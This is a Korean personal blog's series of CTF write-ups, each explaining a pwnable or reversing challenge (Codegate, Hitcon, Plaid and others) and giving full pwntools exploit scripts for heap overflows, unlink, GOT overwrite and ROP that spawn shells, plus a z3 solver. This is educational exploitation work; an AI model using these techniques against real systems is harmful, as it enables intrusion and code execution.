HanJeouk의 개인공부 블로그

2018 Codegate Super Marimo

CTF2018. 2. 6. 02:04

문제를 풀기 전에 먼저 보호기법을 보자

취약점은 modify 함수 부분에서 발생한다.

이게 modify 함수인데 보면 time 함수와 다른 값들을 연산하여 size라는 변수에다 넣은 다음에 나중에 INPUT 함수를 이용하여 32*size 만큼을 입력받는다. 그렇게 되면 다른 청크의 값을 변조하는 게 가능해진다. 

만약에 내가 "show me the marimo"를 치고 name이 AAAA고 profile이 BBBB인 것과 name이 aaaa고 profile이 bbbb인 것을 만들었을 때의 힙 상황이다.

내가 name이 AAAA고 profile이 BBBB인 marimo의 profile 값을 modify를 이용하여 profile의 내용을 원래 사이즈보다 많이 넣어서 다음 marimo의 데이터를 수정한다면 어떻게 될까?

릭은 물론이고 이를 이용하여 쉘을 딸 수도 있을 것이다.

그래서 나는 공격을 위해 malloc_got를 두 번째 marimo name주소를 malloc_got로 덮어서 malloc 함수의 주소를 구한 다음에 base와 one_shot 주소를 구했다.

이제 다시 첫 번째 marimo를 릭할 때 했던 것처럼 profile 값을 modify를 이용하여 두 번째 marimo의 name과 profile를 puts_got로 덮었다.


이제 두 번째 marimo의 profile를 modify한다고 하면 profile에 있는 주소는 이미 puts_got로 조작 돼었기 때문에 거기에 one_shot을 넣어주면 쉘이 따지게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*
= process("./marimo")
#p = remote('ch41l3ng3s.codegate.kr',3333)
elf = ELF("./marimo")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
malloc_plt=elf.plt["malloc"]
malloc_got=elf.got["malloc"]
def make(name,profile):
        p.sendlineafter(">> ","show me the marimo")
        p.sendlineafter(">> ",name)
        p.sendlineafter(">> ",profile)
    
def view(index):
        p.sendlineafter(">> ","V")
        p.sendlineafter(">> ",str(index))    
 
 
make("AAAA","BBBB")
make("aaaa","bbbb")
 
p.sendlineafter(">> ","V")
print p.recv(1024)
sleep(3)
p.sendline("0")
print p.recv(1024)
sleep(3)
p.sendline("M")
 
payload = "A"*40
payload += p64(0x21)
payload += p64(0xffffff)
payload += p64(malloc_got)
p.sendlineafter(">> ",payload)
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","1")
p.recvuntil("name : ")
malloc_add = u64(p.recv(6)+"\x00\x00")
base = malloc_add -0x84130
one_shot = base + 0x45216
print "malloc: " + hex(malloc_add)
print "base: " + hex(base)
print "one_shot : " + hex(one_shot)
 
sleep(3)
 
payload = "B"*40
payload += p64(0x21)
payload += p64(0xfffffffe)
payload += p64(puts_got)
payload += p64(puts_got)
 
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","0")
p.sendlineafter(">> ","M")
p.sendlineafter(">> ",payload)
 
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","1")
p.sendlineafter(">> ","M")
p.sendlineafter(">> ",p64(one_shot))
 
p.interactive()
 
cs

puts나 malloc로 굳이 덮을 필요는 없다 자기가 편한 걸 쓰면 된다. 빨리 풀 수 있었는데 one_shot이 안 먹혀서 오래 걸렸다.

그래도 Write_up을 전혀 참고하지 않고 풀어서 뿌듯했다.

'CTF' 카테고리의 다른 글

2016 Boston Key Party CTF Cookbook  (0) 2018.02.27
Bctf_2016 bcloud  (0) 2018.02.21
2018 Codegate BaskinRobins31  (0) 2018.02.04
2018 Codegate RedVelvet  (0) 2018.02.04
2017 acebear CTF easy_heap  (0) 2018.01.30


보호기법부터 체크하자!

메인함수를 보자!

재미있는 베스킨라빈스 게임이다. Hint is ROP? 어딘가 값을 크게 받는가보다.

어디서 받을까하고 찾아봤더니

your_turn 함수에서 s 사이즈보다 큰 400byte를 받는다. PIE와 Full RELRO도 걸리지 않았으니 bss 영역과 함수들의 plt got를 이용하여 ROP를 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
#p = process(["./BaskinRobins31"],env={'LD_PRELPAD':'libc6_2.23-0ubuntu10_amd64.so'})
= remote("ch41l3ng3s.codegate.kr",3131)
elf = ELF("./BaskinRobins31")
rdi =  0x00400bc3 
rsi = 0x00400bc1 
rdx = 0x0040087c
read_plt = elf.plt["read"]
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
bss = elf.bss()
binsh = "/bin/sh\x00"
 
 
payload = "A"*176
payload += "B"*8
payload += p64(rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(rdi)
payload += p64(0)
payload += p64(rsi)
payload += p64(bss)
payload += p64(bss)
payload += p64(rdx)
payload += p64(len(binsh)+1)
payload += p64(read_plt)
 
payload += p64(rdi)
payload += p64(0)
payload += p64(rsi)
payload += p64(read_got)
payload += p64(read_got)
payload += p64(rdx)
payload += p64(8)
payload += p64(read_plt)
 
payload += p64(rdi)
payload += p64(bss)
payload += p64(read_plt)
print p.recv(1024)
 
 
p.send(payload)
print p.recvuntil("Don't break the rules...:( \n")
leak = u64(p.recv(6)+"\x00\x00")
base = leak - 0x6f690
system = base+0x45390
print "1: "+hex(leak)
print "2: "+hex(base)
print "3: "+hex(system)
p.send(binsh)
p.send(p64(system))
p.interactive()
cs

풀 수 있는 문제들이 나와서 다행인 대회였다ㅎ.

'CTF' 카테고리의 다른 글

Bctf_2016 bcloud  (0) 2018.02.21
2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate RedVelvet  (0) 2018.02.04
2017 acebear CTF easy_heap  (0) 2018.01.30
2017 codegate Babypwn  (2) 2018.01.25

2018 Codegate RedVelvet

CTF2018. 2. 4. 21:20



위에 보이는 func 함수들은 각각 연산을 하면서 값을 체크한다.

그래서 이 연산들을 해주기 위해 z3를 사용했다.

 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
from z3 import*
 
var = [BitVec('var[%d]' %i,16for i in range(0,26)]
 
 
 
= Solver()
 
s.add(var[0* *(var[1] ^ var[0]) - var[1== 10858)
 
s.add(var[0> 85)
 
s.add(var[0<= 95)
 
s.add(var[1> 96)
 
s.add(var[1<= 111)
 
 
 
s.add(var[1] % var[2== 7)
 
s.add(var[2> 90)
 
 
 
s.add(var[2]/var[3]+(var[3]^var[2]) == 21)
 
s.add(var[2]<=99)
 
s.add(var[3]<=119)
 
 
 
v2 = (var[4]^var[3]^var[4])
 
s.add((v2 % var[4])+var[3== 137)
 
s.add(var[3> 115)
 
s.add(var[4<= 99)
 
s.add(var[4== 95)
 
 
 
s.add(((var[5+ var[4]) ^ (var[4] ^ var[5] ^ var[4])) == 225)
 
s.add(var[4]>90)
 
s.add(var[5]<=89)
 
 
 
s.add(var[5]<=var[6])
 
s.add(var[6]<=var[7])
 
s.add(var[5]>85)
 
s.add(var[6]>110)
 
s.add(var[7]>115)
 
s.add((var[6]+var[7])^(var[5]+var[6]) == 44)
 
s.add((var[6]+var[7])%var[5]+var[6== 161)
 
 
 
s.add(var[7]>=var[8])
 
s.add(var[8]>=var[9])
 
s.add(var[7]<=119)
 
s.add(var[8]>90)
 
s.add(var[9]<=89)
 
s.add((var[7]+var[9])^(var[8]+var[9])==122)
 
s.add((var[7]+var[9])%var[8]+var[9== 101)
 
 
 
s.add(var[9]<=var[10])
 
s.add(var[10]<=var[11])
 
s.add(var[11]<=114)
 
s.add((var[9]+var[10])/var[11]*var[10]==97)
 
s.add((var[11]^(var[9]-var[10]))*var[10== -10088)
 
s.add(var[11]<=114)
 
 
 
s.add(var[11== var[12])
 
s.add(var[12]>=var[13])
 
s.add(var[13]<=99)
 
s.add(var[13]+var[11]*(var[13]-var[12])-var[11]== -1443)
 
 
 
s.add(var[13]>=var[14])
 
s.add(var[14]>=var[15])
 
s.add(var[14* (var[13+ var[15+ 1- var[15== 15514)
 
s.add(var[14]>90)
 
s.add(var[14]<=99)
 
 
 
s.add(var[16]>=var[15])
 
s.add(var[15]>=var[17])
 
s.add(var[16]>100)
 
s.add(var[16]<=104)
 
s.add(var[15]+(var[16]^(var[16]-var[17]))-var[17]==70)
 
s.add((var[16]+var[17])/var[15]+var[15== 68)
 
 
 
s.add(var[17]>=var[18])
 
s.add(var[18]>=var[19])
 
s.add(var[18]<=59)
 
s.add(var[19]<=44)
 
s.add(var[17+ (var[18] ^ (var[19+ var[18])) - var[19== 111)
 
s.add((var[18] ^ (var[18- var[19])) + var[18== 101)
 
 
 
s.add(var[19<= var[20])
 
s.add(var[20<= var[21])
 
s.add(var[19]>40)
 
s.add(var[20]>90)
 
s.add(var[21]<=109)
 
s.add(var[21+ (var[20] ^ (var[21+ var[19])) - var[19== 269)
 
s.add((var[21] ^ (var[20- var[19])) + var[20== 185)
 
 
 
s.add(var[21]>=var[23])
 
s.add(var[22]>=var[23])
 
s.add(var[22]<=99)
 
s.add(var[23]>90)
 
s.add(var[21+ (var[22] ^ (var[22+ var[21])) - var[23== 185)
 
 
 
s.add(var[24]>=var[25])
 
s.add(var[24]>=var[23])
 
s.add(var[25]>95)
 
s.add(var[24]<=109)
 
s.add(((var[24- var[23]) * var[24] ^ var[25]) - var[23== 1214)
 
s.add(((var[25- var[24]) * var[25] ^ var[23]) + var[24== -1034)
 
 
print s.check()
print s.model()
cs

이렇게 연산을 진행하면

이렇게 값이 나온다 이걸 이제 순서대로 문자로 바꿔주면

What_You_Wanna_Be?:)_l`_la 라고 나온다.

근데 이대로 넣으니까 인증이 안된다. 근데 `을 보고 la la가 아닐까? 생각해서 `를 a로 바꾸고 인증하니까 됐다.

z3는 처음 써봤는데 신기했다. 다음에는 angr도 써봐야겠다. 그리고 레드벨벳은 예쁘다.

FLAG: What_You_Wanna_Be?:)_la_la

'CTF' 카테고리의 다른 글

2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate BaskinRobins31  (0) 2018.02.04
2017 acebear CTF easy_heap  (0) 2018.01.30
2017 codegate Babypwn  (2) 2018.01.25
2016 WITHcon Malloc  (0) 2018.01.22

2017 acebear CTF easy_heap

CTF2018. 1. 30. 20:01

우선 보호기법을 보면

 

실행시켜보면 이렇게 age와 name을 입력받고 5개의 menu를 출력한다. 

취약점은 이 특정함수가 아니라 필터링 때문에 발생한다. create 부분을 보여주자면

여기서 INPUT_after_ATOI 함수는 입력을 받고 정수로 바꿔서 반환하는 함수다. v1에 INPUT_after_ATOI의 반환 값을 저장하고 buf[v1] 식으로 배열에 할당을 한다. 근데 만약에 정수가 양의 정수가 아니라 음의 정수라면 어떻게 될까?

v1을 -1로 하고 GDB로 봤더니(0x0804b0a0은 buf[]의 주소)

buf 뒤에 힙 포인터가 나타난다. 즉 음수로하면 (그 수 * 4byte)만큼 밀려서 나타나는 것이다.

이걸 이용해서 릭을 할 것이다.

show 함수를 보면 그 곳이 비었는지 아닌지만 체크하고 출력하기 때문에 이걸 이용할 것이다.

buf주소에서 JMPREL 까지 빼서 setbuf를 출력시킬 것이다. JMPREL의 주소는 0x08048420이다. 그리고 buf의 주소는 0x0804b0a0니까 둘이 빼면 0x2c80이다 10진수로 바꾸면 11392다.

근데 4바이트 단위로 끊어야 하니까 11392 / 4 하면 2848이 된다. 그래서 show에 -2848을 하면 setbuf의 주소를 릭할 수 있을 것이다.


성공했다. 이제 이걸로 base를 구하고 시스템 함수를 구할 수 있다.

다 구한 다음에 이제 공격을 해야한다. 공격은 create와 edit 함수를 이용할 것이다.

우선 JMPREL에서 free 함수부터 buf까지의 오프셋을 구하고 그걸 4로 나눈다. 아까 릭할 때처럼 구하면 된다.

그렇게 해서 2842라는 걸 구했다.

이제 create에 "/bin/sh\x00" 을 넣어놓는다. 그 다음에 edit 함수에 인자를 -2842와 system 함수의 주소를 넣음으로써

free함수를 system 함수로 덮는다. 그리고 아까 만든 create한 곳을 free 시키면 system과 "/bin/sh\x00"가 만나서 쉘이 따진다.

처음에 unlink로 base까지 다 구했는데 공격방법을 몰라서 막혔었는데 jmprel을 이용해서 공격한다는 걸 알게 돼서 릭과 공격코드가 엄청 간결해졌다. unlink로 base 구하는 코드보다 jmprel로 공격까지 때리는 게 더 짧은걸 보고 자괴감이 들었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
#p = remote("easyheap.acebear.site", 3002)
= process(["./easy_heap"],env={'LD_PRELOAD':'./easyheap_libc.so.6'})
 
def start(name,age):
        p.sendlineafter(": ",name)
        p.sendlineafter(": ",str(age))
 
def create(index,name):
        p.sendlineafter("choice: ","1")
        p.sendlineafter(": ",str(index))
        p.sendlineafter(": ",name)
 
def edit(index,name):
        p.sendlineafter("choice: ","2")
        p.sendlineafter(": ",str(index))
        p.sendlineafter(": ",name)
 
def delete(index):
        p.sendlineafter("choice: ","3")
        p.sendlineafter(": ",str(index))
 
def show(index):
        p.sendafter("choice: ","4")
        p.sendafter(": ",str(index))
 
start("AAAAAAAAAAAAAAAA",10)
show(-2848)
p.recvuntil('is: ')
 
leak = u32(p.recv(4))
base = leak -0x65450
system = base + 0x3a940
 
create(0,"/bin/sh\x00")
edit(-2842,p32(system))
print hex(leak)
print hex(base)
print hex(system)
 
p.sendlineafter("choice: ","3")
p.sendlineafter("Index: ","0")
 
p.sendline("cat /home/easy_heap/flag")
 
p.interactive()
 
 
cs


'CTF' 카테고리의 다른 글

2018 Codegate BaskinRobins31  (0) 2018.02.04
2018 Codegate RedVelvet  (0) 2018.02.04
2017 codegate Babypwn  (2) 2018.01.25
2016 WITHcon Malloc  (0) 2018.01.22
2016 Hitcon sleepy holder  (0) 2018.01.21

2017 codegate Babypwn

CTF2018. 1. 25. 01:07

heap 공부를 하는 동안 stack 공부한 걸 까먹지 않았나 싶어서 복습할 겸 codegate의 babypwn을 풀었다.

보호기법을 보니 GOT를 덮을 수 있다.

소켓 연결할 때 포트는 8181로 하면 된다.

빠르게 취약점으로 가면


IDA로 이 쪽 부분을 보면 INPUT_0이라는 함수를 들어가보면

recv임을 알 수 있다. 그럼 INPUT_0(&v2,0x64)는 v2라는 주소에 100만큼 입력을 받는다는 뜻이다. 그래서 v2를 몇 바이트까지 받는 지 봤는데

Canary 까지 0x28 = 40byte를  받는다. 그래서 41만큼 값을 넣어서 카나리까지 변수에 값이 저장되게 한 다음 INPUT_0 밑에 있는 출력 함수에서 v2의 값을 출력할 때 같이 나오게 해서 Canary Leak을 했다. 

그 다음에 다시 정상적으로 값을 40까지 넣고 stack smashing이 안뜨게 canary를 넣어준 다음에 나머지 sfp까지 덮고 ret에서 bss에 cat flag 를 하는 리다이렉션 한 명령어를 집어넣고 system_plt에 bss를 인자로 줘서 플래그를 얻었다.

리다이렉션은 처음 써봤는데 stack 복습도 하고 리다이렉션도 배우고 좋은 문제였다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
= remote('127.0.0.1',8181)
#context.log_level = 'debug'
elf = ELF("./babypwn")
bss = elf.bss()
system_got = elf.got["system"]
system_plt = elf.plt["system"]
recv_plt = elf.plt["recv"]
recv_got = elf.got["recv"]
send_plt = elf.plt["send"]
send_got = elf.got["send"]
p4r = 0x08048eec
print p.sendlineafter("> ","1")
payload = "A"*41
print p.sendafter(": ",payload)
print p.recvuntil("A"*41)
canary = u32("\x00"+p.recv(3))
print hex(canary)
 
cmd = "cat flag 1>&4"
 
payload = "c"*40+p32(canary)+"A"*8+"B"*4
payload += p32(recv_plt)
payload += p32(p4r)
payload += p32(4)
payload += p32(bss)
payload += p32(len(cmd)+1)
payload += p32(0)
 
payload += p32(system_plt)
payload += "AAAA"
payload += p32(bss)
 
 
print p.sendlineafter("> ","1")
p.sendafter(": ",payload)
print p.recv(1024)
print p.recv(1024)
p.sendline("3")
p.send(cmd)
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2018 Codegate RedVelvet  (0) 2018.02.04
2017 acebear CTF easy_heap  (0) 2018.01.30
2016 WITHcon Malloc  (0) 2018.01.22
2016 Hitcon sleepy holder  (0) 2018.01.21
2016 Hitcon secret holder  (0) 2018.01.21

2016 WITHcon Malloc

CTF2018. 1. 22. 07:55

어렵지만 익스 코드가 길지 않은 문제다.

문제를 실행하자마자 스택주소를 준다. 그리고 사이즈는 fastbin만 할당이 된다.

스택주소 & fastbin라고 하면 fastbin_dup_into_stack 이 생각나서 쓰면 되지만 나는 그냥 1 과 2를 free 하면 2번에 fd가 생기도록 한 다음에 그 fd를 스택주소 - 0x58을 해준다. (0x58을 해주는 이유는 그 부분에서 입력한 사이즈가 들어가기 때문에 size 다음에 data를 넣으려고 하기 때문이다. 아니면 오류남)

2를 다시 할당하고 또 할당하면 스택주소 - 0x58에 할당하게 된다. 그러면 이제 malloc 다음에 break 주소를 flag 출력 함수로 덮어버리면 된다. (flag 출력함수는 아예 문제에서 준다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import*
= process("./malloc")
 
def malloc(size,data):
        p.sendlineafter("> ","1")
        p.sendlineafter(":",str(size))
        p.sendafter(": ",data)
 
def free(num):
        p.sendlineafter("> ","2")
        p.sendlineafter(": ",str(num))
 
def list():
        p.sendlineafter(" > ","3")
 
def modify(num,data):
        p.sendlineafter("> ","4")
        p.sendlineafter(": ",str(num))
        p.sendafter(": ",data)
 
print p.recvuntil(" : ")
stack = int(p.recv(14),16)
 
malloc(32,"A"*4)
malloc(32,"B"*4)
 
free(1)
free(2)


print "STACK: "+ hex(stack)
attack = 0x400986
modify(2,p64(stack - 0x58))
malloc(32,"C"*4)
malloc(48,"A"*24+p64(attack))
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2017 acebear CTF easy_heap  (0) 2018.01.30
2017 codegate Babypwn  (2) 2018.01.25
2016 Hitcon sleepy holder  (0) 2018.01.21
2016 Hitcon secret holder  (0) 2018.01.21
2017 Codegate messenger  (0) 2018.01.06

2016 Hitcon sleepy holder

CTF2018. 1. 21. 16:58

Secret holder 과 비슷하지만 huge 청크를 한 번만 할당할 수 있고 wipe와 renew를 못 한다.

small 과 big으로 keep을 한 다음에 small 을 wipe하고 huge로 keep을 하면 fastbin이였던 wipe된 small이

unsorted bin으로 가서 fd와 bk에 main_arena+88 있다.  그 뒤에 다시 small을 wipe하면 fastbin으로 들어갈 것이다.

이제 unlink를 조작해서 전역변수 영역에 할당을 시킨 다음에

secret holder처럼 small big 포인터를 함수 got로 덮어서 릭하고 공격하면 된다.

함수 주소를 릭하고 그걸로 base를 구해서 base로 system 함수를 구한 다음에 포인터를 system으로 하고 할당을 할 때 인자를 "/bin/sh\x00" 으로 해서 쉘을 땄다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import*
= process("./SleepyHolder")
elf = ELF("./SleepyHolder")
atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
 
def keep(size,content):
        p.sendlineafter("3. Renew secret\n","1")
        p.sendlineafter(" forever\n",str(size))
        print p.recv(1024)
        p.send(content)
 
def wipe(size):
        p.sendlineafter("3. Renew secret\n","2")
        p.sendlineafter("2. Big secret\n",str(size))
 
def renew(size,content):
        p.sendlineafter("3. Renew secret\n","3")
        p.sendlineafter("2. Big secret\n",str(size))
        print p.recv(1024)
        p.send(content)
 
buf = 0x6020d0
print p.recvuntil("up ...")
sleep(3)
 
keep(1,"A"*4)
keep(2,"B"*4)
wipe(1)
keep(3,"C"*4)
wipe(1)
payload = p64(0)
payload += p64(0)
payload += p64(buf-0x18)
payload += p64(buf-0x10)
payload += p64(0x20)
 
p.sendlineafter("3. Renew secret\n","1")
p.sendlineafter("Big secret\n",str(1))
print p.recv(1024)
p.send(payload)
wipe(2)
 
payload = p64(0)
payload += p64(atoi_got) #2
payload += p64(puts_got) #3
payload += p64(free_got) #1
payload += p64(1)*3
 
renew(1,payload)
renew(1,p64(puts_plt))
 
wipe(2)
atoi_leak = u64(p.recv(6)+"\x00\x00")
base = atoi_leak - 0x36e80
system = base + 0x45390
print "LEAK: " + hex(atoi_leak)
print "base: " + hex(base)
 
renew(1,p64(system))
keep(2,"/bin/sh\x00")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2017 codegate Babypwn  (2) 2018.01.25
2016 WITHcon Malloc  (0) 2018.01.22
2016 Hitcon secret holder  (0) 2018.01.21
2017 Codegate messenger  (0) 2018.01.06
2014 Plaid CTF Ezhp  (0) 2018.01.04

2016 Hitcon secret holder

CTF2018. 1. 21. 16:29

청크 관리 연습할 때 도움이 된다는 Histcon의 holder 시리즈... 풀어 봤다.

너무 어렵다.. 풀이를 엄청 본 것 같다. 

1,2,3 사이즈로 전부 할당을 한 다음에 다시 전부 free 시켜서 병합이 되게 한 다음 다시

huge를 할당하면 40만을 할당함에도 불구하고 탑 청크 사이즈가 늘어나서 heap에 할당이 된다 .ㅋㅋㅋㅋ

그렇게 되면 renew로 huge를 조작할 수 있으니까 40만큼을 마음대로 조작할 수 있다.

그래서 huge안에 big, small을 keep 해서 fake를 자유자재로 만들 수 있게 한다.

fake chunk를 만들 때 prev_size size를 조작해서 데이터 주소를 청크헤더로 인식시키는 게 인상적이였다.

또 fake_chunk를 만들 때 여러 오류들을 피하기 위해 여러 청크를 만든다는 게 어려웠다.

unlink 를 이용하여 전역변수에 할당할 수 있게 하고 전역변수를 함수 got들로 덮음으로써 릭과 공격을 할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*
= process("./SecretHolder")
elf = ELF("./SecretHolder")
 
def keep(size,content):
        p.sendlineafter("3. Renew secret\n","1")
        p.sendlineafter("3. Huge secret\n",str(size))
        print p.recv(1024)
        p.sendline(content)
 
def wipe(size):
        p.sendlineafter("3. Renew secret\n","2")
        p.sendlineafter("3. Huge secret\n",str(size))
 
def renew(size,content):
        p.sendlineafter("3. Renew secret\n","3")
        p.sendlineafter("3. Huge secret\n",str(size))
        print p.recv(1024)
        p.sendline(content)
 
attack = 0x6020a8
 
keep(1,"A"*40)
keep(2,"B"*40)
keep(3,"C"*40)
 
wipe(1)
wipe(2)
wipe(3)
 
 
keep(3,"a"*24#locate in small
 
wipe(1#same address between huge and small
 
keep(1,"b"*24)  # Reference Malloc.c!!!!
keep(2,"c"*24)
payload = p64(0x0)
payload += p64(0x21)
payload += p64(attack-24)
payload += p64(attack-16)
 
payload += p64(0x20)
payload += p64(0x90)
payload += "a"*0x80
 
payload += p64(0x90)
payload += p64(0x91)
payload += "b"*0x80
 
payload += p64(0x90)
payload += p64(0x21)
 
renew(3,payload)
 
wipe(2)
wipe(1)
payload = "\x00"*24
payload += p64(elf.got["free"])
payload += "\x20"
 
p.sendlineafter("3. Renew secret\n","3")
p.sendlineafter("3. Huge secret\n","3")
print p.recv(1024)
p.send(payload)
 
p.sendlineafter("3. Renew secret\n","3")
p.sendlineafter("3. Huge secret\n","3")
print p.recv(1024)
 
p.send(p64(elf.plt["puts"]))
wipe(1)
main_arena = u64(p.recv(6)+"\x00\x00"- 88
base = main_arena - 0x3c4b20
system = base + 0x45390
 
print "main_arena: " + hex(main_arena)
print "base: " + hex(base)
print "system: " + hex(system)
 
p.sendlineafter("3. Renew secret\n","3")
p.sendlineafter("3. Huge secret\n","3")
print p.recv(1024)
p.send(p64(system))
 
keep(1,"/bin/sh")
wipe(1)
 
p.interactive()
cs


'CTF' 카테고리의 다른 글

2016 WITHcon Malloc  (0) 2018.01.22
2016 Hitcon sleepy holder  (0) 2018.01.21
2017 Codegate messenger  (0) 2018.01.06
2014 Plaid CTF Ezhp  (0) 2018.01.04
tuCTF guest_book  (2) 2017.12.03

2017 Codegate messenger

CTF2018. 1. 6. 13:53

메인함수를 보면 이렇게 돼있다.

MESSENGER 는 그냥 시작할 때 간지나게 messenger라고 출력하는 함수다.

우선 Leave 함수를 보면

이렇게 돼있다. custom_malloc 라고 적은 이유는 이 문제 역시 ezhp 처럼 custom_malloc 로 할당을 해준다.

그리고 free를 안했는데 fd와 bk도 나온다.

다시 leave 함수를 보면 사이즈를 32까지만 할당할 수 있고 최대 2개까지라고 나온다.


근데 change 함수를 보면

자신이 원하는 사이즈 만큼 data를 다시 집어넣을 수 있다.

이 말은 즉 overflow 가 가능하다.

시나리오가 ezhp랑 거의 판박이다.

overflow가 가능하단 걸 알게되어서 바로 공격에 들어갔다.


(Line 27 ~ 33) fastbin 2개를 할당하고 아까 말했던 취약점이 있는 change 함수를 이용하여 힙을 릭한다. 

leave만 해도 fd와 bk가 나타는 것을 이용하여 첫 번째 청크를 overflow 시켜 두 번째 청크의 prev_size와 size를 덮고

첫 번째 청크의 데이터를 출력시킨다. 그럼 null을 만날 때까지 출력을 하기 때문에 fd를 릭할 수 있다.

거기에 일정한 사이즈를 빼주면 heap 주소를 구할 수 있다.

(Line 37 ~ 39) "b"를 두 번째 청크의 prev_size 전까지 덮는다. 그 다음에 unlink를 위해 두 번째 청크의 prev_size와 size를 -1 로 바꾼다.

그리고 fd에 nop(\x90)와 shellcode가 들어갈 주소를 넣는다 bk에는 exit_got-8을 넣는다. (gdb로 unlink를 계속 시키면서 보면 exit_got-8을 해야 unlink 될 때 exit_got에 fd가 들어가는 걸 알 수 있다.) 

그리고 nop과 shellcode를 넣어준다.

remove(1)를 이용하여 두 번째 청크를 unlink 시킨다.

하지만 Line 39까지만 한다면 쉘이 안따질 것이다. 왜냐하면 remove 함수 때문에 nop 중간에 bk 주소가 들어가기 때문이다.

그래서 나는 change를 이용하여 그 bk를 덮어버리기로 했다.

그게 바로 Line 41이다. bk를 덮을 때 다른 건 전부 똑같이 맞춰주면 된다.

쉘 코드를 처음에 이상한 걸 써서 오지게 삽질을 했다.

시나리오가 ezhp와 똑같아서 분석 실력에는 엄청 도움되지는 않았지만

gdb를 조금 더 능숙하게 사용하게 된 것 같아서 엄청 재미있었고 혼자 풀어서 뿌듯하다 ㅎ.





'CTF' 카테고리의 다른 글

2016 Hitcon sleepy holder  (0) 2018.01.21
2016 Hitcon secret holder  (0) 2018.01.21
2014 Plaid CTF Ezhp  (0) 2018.01.04
tuCTF guest_book  (2) 2017.12.03
tuCTF vuln-chat2  (0) 2017.11.29

2014 Plaid CTF Ezhp

CTF2018. 1. 4. 19:34

힙알못이라 난이도가 쉬운편인 문제들부터 서서히 풀기로 했다.

아무것도 안걸려있다ㅋㅋ.

IDA로 main 함수를 보면 이렇게 5개의 메뉴가 보인다.

Change 함수에 있는 이 부분에서 취약점이 생기는데 사이즈 조절을 안해놔서 사이즈를 마음대로 크게 정해놓고 read로 그 사이즈만큼 받아서 overflow를 일으킬 수 있다. 그래서 청크의 헤더와 fd, bk 를 조작해서 unlink 시킬 수 있다.

그래서 나는 exit 함수 got에 쉘 코드를 집어넣었다.

문제가 신기한게 할당을 하기도 전에 힙 영역을 보면 fd 와 bk가 있다 ㄷㄷ..

그래서 free를 하지 않아도 fd 와 bk가 있다.

시나리오를 설명하자면 

(Line 33 ~ 41)청크 3개를 할당한 다음에 0번 청크를 1번 청크의 fd(2번 청크)까지 오버플로우 시켜고 0번을 출력시켜서

1번 청크의 fd(2번 청크) 를 구한다.

이 fd는 나중에 공격에 사용된다.

 (Line 42) 0번 청크를 다시 overflow 시켜서 prev_size와 size를 -1(\xff\xff\xff\xff) 로 바꿔주고 exit_got-4 를 넣어준다.

이 문제는 custom malloc&free 라서 일반 unlink와 다르게 unlink 될 때 다르게 돼서 -8 이 아닌 -4를 해준다.

(원래 unlink는 bk+8 에 fd를 넣어줌 그래서 bk -8을 해줘야 되는데 custom이라서 bk+4 에 fd를 넣어줌 그래서 bk-4 다 그래서 exit_got에 -8이 아닌 -4를 해준다.)

 


위에 있는 사진이 ezhp의 unlink 부분이다.

(Line 43)chunk 2의 값을 NOP(\x90)과 shellcode로 채워준다.

그리고 익스코드에는 안적었는데 free(1)을 하고 exit함수를 실행시키면 쉘이 따진다.

왜냐하면 unlink가 되면서 exit_got가 쉘코드가 있는 청크 2의 주소를 가리켜서 exit가 실행되지 않고 쉘코드가 실행돼서

쉘이 따진다.

